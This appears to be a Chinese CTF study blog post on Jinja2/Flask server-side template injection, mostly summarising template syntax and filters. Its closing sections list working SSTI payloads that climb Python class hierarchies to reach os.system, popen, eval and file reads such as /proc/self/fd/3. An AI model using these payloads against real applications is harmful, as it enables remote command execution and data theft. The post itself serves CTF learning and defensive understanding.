ssti注入绕过深入了解

前言

之前学的ssti注入看了一下只是停留在很表层的学习,感觉已经不能适应现在ctf的难度,故决定深入学习payload构造绕过的方式,掌握python编写语法:Flask/Jinja2

ssti注入步骤

确定模板类型——>选择对应注入语句

## Flask/Jingjia2

作为 web层面的攻击,我们要关注语言层面的特性和绕过Flask/Jinja2 模板的语法,filters和内建函数,变量,都可能称为绕过的trick

基本语法如下:

- ```
{{ ... }}
for [Expressions](https://jinja.palletsprojects.com/en/2.11.x/templates/#expressions) 里面可以是一个表达式,如1+1,字符串等,支持调用对象的方法,会渲染结果
  • {% ... %}
    

    - for [Statements](https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-control-structures) ,可以实现for,if等语句,还支持set语法,可以给变量赋值 这里的
      


    {{}} ​``` 自然不必说,用来执行命令,{%%}我突然有了点感觉,他可以给变量赋值,这不就说明了我们使用拼凑法吗,就是先单独对每个过滤项进行赋值,然后将其拼接起来就行。 ### 基础语法 #### 变量 应用把变量传递给模板,可以使用(.)来访问变量的属性,作为替代,也可以使用所谓的下标语法([])
    ```
    {{foo.bar}}
    {{foo['bar']}}
    ​```
    #### 过滤器 变量可以通过过滤器修改。 过滤器与变量用**管道符号(|)分割**,并且也可以用圆括号传递可选参数。 **多个过滤器可以链式调用,前一个过滤器的输出会被作为后一个过滤器的输入。** 举例:
     {{ name|striptags|title }} 会移除 name 中的所有 HTML 标签并且改写 为标题样式的大小写格式。过滤器接受带圆括号的参数,如同函数调用。这个例子会 把一个列表用逗号连接起来: {{ list|join(', ') }} 。
    ​```

    #### 空白控制

    默认配置中,模板引擎不会对空白做进一步修改,所以每个空白(空格、制表符、换行符 等等),配置了trim_blocks,模板标签后的第一个换行符会被自动移除
    防止-
    此外,你也可以手动剥离模板中的空白。当你在块(比如一个 for 标签、一段注释或变 量表达式)的开始或结束放置一个减号( `-` ),可以移除块前或块后的空白:

    **标签和减号之间不能有空白**

    {% - if foo - %}...{% endif %}
    ​```
    #### 行语句 如果应用启用了行语句,就可以把一个行标记为一个语句。例如如果行语句前缀配置为#,下面的例子就是等价的。
    <ul>
    # for item in seq
    <li>{{ item }}</li>
    # endfor
    </ul>

    <ul>
    {% for item in seq %}
    <li>{{ item }}</li>
    {% endfor %}
    </ul>
    **PS:**1.若有未闭合的圆括号、花括号或方括号,行语句可以跨越多行:
    # for href, caption in [('index.html', 'Index'),
    ('about.html', 'About')]:
    **2.**##为行注释前缀,行中所有##之后的内容(不包括换行符)会被忽略: #### 转义
    1.当从模板中生成HTML时,变量可能包含影响已生成的HTML的字符。有两种解决方法:手动转义每个字符或默认自动转义所有的东西。
    2.使用手动转义
    转义通过用管道传递到过滤器|e来实现:
    {{user.username|e}}
    ​```

    #### 过滤器

    #### 赋值

    在代码块中,你也可以为为变量赋值。在顶层的(块、宏、循环之间)赋值是可导出的,即可以从别的模板中导入。

    赋值使用set标签,并且可以为多个变量赋值:



    {% set navigation = [('index.html', 'Index'), ('about.html', 'About')] %}
    {% set key, value = call_something() %}

    #### 表达式

    jinjia中导入都允许使用基本表达式。这像常规的python一样工作。

    #### 字面量

    "HELLO":
    双引号或单引号中间的一切都是字符串,无论何时你需要在模板中使用一个字符串(比如函数调用、过滤器或只是包含或继承一个模板的参数)。他们都是有用的。

    42/42.23:
    直接写下数值就可以创建整数和浮点数。如果有小数点,则为浮点数,否则为整数,在python中,42和42.0是不一样的
    **dict:**
    python 中的字典是一种关联键和值的结构。键必须是唯一的,并且键必须只有一个值,字典在模板中很少使用,罕用于**xmlattr()**过滤器之类
    **PS**所有的true和false都是小写的

    #### 算式

    - ```
    Jinja 允许你用计算值。这在模板中很少用到,但是为了完整性允许其存在。支持下面的 运算符:

    - +

    把两个对象加到一起。通常对象是素质,但是如果两者是字符串或列表,你可以用这 种方式来衔接它们。无论如何这不是首选的连接字符串的方式!连接字符串见 `~` 运算符。

    `{{ 1 + 1 }}`
        
    等于 `2` 。

    - ```
    -
    用第一个数减去第二个数。
        


    `{{ 3 - 2 }}`
      
    - 等于 `1` 。 - / 对两个数做除法。返回值会是一个浮点数。
      


    `{{ 1 / 2 }}`
      
    - 等于 `{{ 0.5 }}` 。 - // 对两个数做除法,返回整数商。 `{{ 20 // 7 }}` 等于 `2` 。 - % 计算整数除法的余数。 `{{ 11 % 7 }}` 等于 `4` 。 - * 用右边的数乘左边的操作数。 `{{ 2 * 2 }}` 会返回 `4` 。也可以用于重 复一个字符串多次。 `{{ ‘=’ * 80 }}` 会打印 80 个等号的横条。 - ** 取左操作数的右操作数次幂。 `{{ 2**3 }}` 会返回 `8` 。
      





    #### 比较

    - ```
    - ==

    比较两个对象是否相等。

    - !=

    比较两个对象是否不等。

    - >

    如果左边大于右边,返回 true 。

    - >=

    如果左边大于等于右边,返回 true 。

    - <

    如果左边小于右边,返回 true 。

    - <=

    如果左边小于等于右边,返回 true 。

逻辑

对于 if 语句,在 for 过滤或 if 表达式中,它可以用于联合多个表达式:

- and

如果左操作数和右操作数同为真,返回 true 。

- or

如果左操作数和右操作数有一个为真,返回 true 。

- not

对一个表达式取反(见下)。

- (expr)

表达式组。

提示
is` 和 `in` 运算符同样支持使用中缀记法: `foo is not bar` 和 `foo not in bar` 而不是 `not foo is bar` 和 `not foo in bar` 。所有的 其它表达式需要前缀记法 `not (foo and bar)
​```

#### 其它运算符

- ```
下面的运算符非常有用,但不适用于其它的两个分类:

- in

运行序列/映射包含检查。如果左操作数包含于右操作数,返回 true 。比如 `{{ 1 in [1,2,3] }}` 会返回 true 。

- is

运行一个 [*测试*](http://docs.jinkan.org/docs/jinja2/templates.html#tests) 。

- |**重点**

应用一个 [*过滤器*](http://docs.jinkan.org/docs/jinja2/templates.html#filters) 。

- ~

把所有的操作数转换为字符串,并且连接它们。 `{{ "Hello " ~ name ~ "!" }}` 会返回(假设 name 值为 `''John'` ) `Hello John!` 。

- ()

调用一个可调用量:`{{ post.render() }}` 。在圆括号中,你可以像在 python 中一样使用位置参数和关键字参数: `{{ post.render(user, full=true) }}` 。

- #### . / []

获取一个对象的属性。

内置过滤器清单

**abs(number):**返回参数的绝对值
**attr(obj,name):**获取对象的属性。foo|attr("bar")的工作方式类似于foo["bar"],只是总是返回一个属性,并且不查找任何项。
**join(value,d=u",attribute=None)**:
返回一个字符串,该字符串是系列中字符串的串联,元素之间的分隔符默认情况下是一个空字符串,您可以使用可选参数对其进行定义:
{{ [1, 2, 3]|join('|') }}
-> 1|2|3

{{ [1, 2, 3]|join }}
-> 123
​```

并且可以连接对象的某些属性:

{{ users|join(', ', attribute='username') }}
​```

**last(seq)**:返回序列最后的一个元素:
**length(object):**返回序列中的项目数
**list(value):**将值转换为列表。如果是字符串,则返回的列表将是字符列表。
**random(seq):**从序列中返回一个随机项目
**select():**可以用来选择对象:
{{ numbers|select("odd") }}
​```

**selectattr():**
这个可以用来选择需要的object

int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;
pop(): 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值,在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count
​```
__class__            类的一个内置属性,表示实例对象的类。
__base__ 类型对象的直接基类
__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app 应用上下文,一个全局变量。
__doc__:使用docstrings,每个对象都有自己的.__doc__属性,调用__doc__即为调用其文档字符串

request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1 get传参
request.values.x1 所有参数
request.cookies cookies参数
request.headers 请求头参数
request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data post传参 (Content-Type:a/b)
request.json post传json (Content-Type: application/json)
config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g {{g}}得到<flask.g of 'flask_ssti'>

参考:https://blog.csdn.net/xiaolong22333/article/details/114228433
http://ctf.ieki.xyz/library/ssti.html
https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-builtin-filters

fuzz脚本结果(前辈整理)

[].__class__.__base__.__subclasses__()[40].__init__.__globals__['os'].system('ls')

[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('_ _import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('_ _import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['sys'].modules['os'].popen('ls').read()
​```



Author

vague huang

Posted on

2021-04-08

Updated on

2021-07-08

Licensed under

Comments